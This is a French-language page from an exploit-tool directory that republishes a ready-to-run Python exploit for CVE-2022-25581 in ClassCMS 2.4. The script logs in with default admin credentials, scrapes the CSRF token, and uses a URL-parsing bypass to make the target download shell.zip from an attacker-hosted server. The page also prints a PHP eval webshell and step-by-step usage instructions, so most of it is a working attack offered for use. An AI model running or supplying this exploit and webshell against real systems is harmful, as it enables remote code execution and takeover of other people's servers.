Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-25581 — Script d'exploitation Python pour CVE-2022-25581 (téléchargement arbitraire de fichiers dans ClassCMS 2.4) qui automatise la connexion, l'extraction de jetons CSRF, le téléchargement d'un zip malveillant avec webshell, et l'accès à un shell distant via un contournement de l'analyse d'URL. | Kitploit
Outils/GitHubGitHub/wooluo/cve-2022-25581
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubwooluo/cve-2022-25581

CVE-2022-25581

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Script d'exploitation Python pour CVE-2022-25581 (téléchargement arbitraire de fichiers dans ClassCMS 2.4) qui automatise la connexion, l'extraction de jetons CSRF, le téléchargement d'un zip malveillant avec webshell, et l'accès à un shell distant via un contournement de l'analyse d'URL.

Partager

CVE-2022-25581

Introuvable sur tout le web, je laisse une sauvegarde, script d'exploitation Python, pour automatiser les étapes suivantes :


✅ Objectifs du script

  1. Se connecter à l'interface d'administration (obtenir csrf et token)
  2. Construire une requête malveillante pour télécharger une archive (contenant un webshell)
  3. Accéder au webshell téléchargé pour obtenir le contrôle (GET shell)

🧾 Prérequis

  • Environnement cible : ClassCMS 2.4
  • Serveur Web : PHP 5.5 + MySQL
  • L'attaquant dispose d'un serveur HTTP accessible (pour héberger shell.zip)
  • Chemin d'administration connu (ex. /admin666)
  • Identifiants d'administration : admin/admin

🔒 Rappel du principe d'exploitation de la vulnérabilité

Cette vulnérabilité de téléchargement arbitraire de fichier repose sur la construction d'une URL spéciale :

root@kitploit:~
http://@<ip>:[email protected]/shell.zip

En exploitant la différence d'interprétation de l'URL entre parse_url() de PHP et curl, on contourne la validation de la liste blanche des hôtes.


🐍 Script d'exploitation Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup

# =============== 配置信息 ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666"  # 后台路径
login_url = f"{target_url}{admin_path}?do=login"

download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"

# 你的攻击服务器地址(必须能被目标访问到)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"

# webshell 文件名
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"

# 登录凭证
username = "admin"
password = "admin"

# ========================================

# 设置 session 维持 cookie
session = requests.Session()

# ================ Step 1: 登录后台 ================
def login():
    print("[*] 正在登录后台...")
    data = {
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data)
    if "退出登录" in res.text:
        print("[+] 登录成功!")
        return True
    else:
        print("[-] 登录失败,请检查用户名/密码或后台路径是否正确。")
        return False

# ================ Step 2: 获取 csrf token ================
def get_csrf():
    url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
    res = session.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'csrf'})
    if csrf_input:
        return csrf_input['value']
    else:
        print("[-] 无法提取 csrf token!")
        return None

# ================ Step 3: 上传压缩包并解压 ================
def upload_shell(csrf_token):
    print(f"[*] 正在上传 {shell_zip_url} ...")

    payload = {
        "classhash": "shell",
        "url": shell_zip_url,
        "csrf": csrf_token
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
    }

    res = session.post(download_url, data=payload, headers=headers)

    if res.status_code == 200 and "下载完成" in res.text:
        print("[+] 上传成功!")
        return True
    else:
        print("[-] 上传失败,响应内容:", res.text)
        return False

# ================ Step 4: 尝试访问 webshell ================
def check_webshell():
    print(f"[*] 正在尝试访问 webshell:{webshell_path}")
    try:
        res = session.get(webshell_path, timeout=5)
        if res.status_code == 200:
            print("[+] 成功访问 webshell,你现在可以使用菜刀/蚁剑连接!")
            print(f"[+] 地址:{webshell_path}")
        else:
            print("[-] webshell 未找到或未执行。")
    except Exception as e:
        print("[-] 连接异常:", str(e))

# ================ 主函数 ================
if __name__ == "__main__":
    if login():
        csrf = get_csrf()
        if csrf:
            if upload_shell(csrf):
                check_webshell()

📁 Méthode de création du fichier shell.zip

  1. Créez shell.php avec le contenu suivant :

    root@kitploit:~
    <?php @eval($_POST['cmd']); ?>
    
  2. Compressez-le sous forme de shell.zip en veillant à ce que la structure racine contienne directement shell.php.

  3. Placez-le sur votre serveur d'attaque et assurez-vous qu'il est accessible via l'URL suivante :

    root@kitploit:~
    http://192.168.12.144/shell.zip
    

🛠️ Mode d'emploi

  1. Installez les dépendances :
root@kitploit:~
pip install requests beautifulsoup4
  1. Modifiez les configurations (IP, port, chemins) dans le script.
  2. Démarrez un serveur HTTP sur le serveur d'attaque pour fournir shell.zip en téléchargement.
  3. Exécutez le script :
root@kitploit:~
python exploit_classcms.py

📌 Remarques

  • Assurez-vous que le port 80 est ouvert sur le serveur d'attaque et que shell.zip est accessible.
  • Si le chemin d'administration de la cible est différent, modifiez admin_path.
  • En cas d'échec de validation CSRF, récupérez le paquet pour confirmer si le token a été mis à jour.
  • Ce script est fourni à des fins de recherche et d'enseignement uniquement, ne l'utilisez pas pour des intrusions illégales.
Télécharger l’outil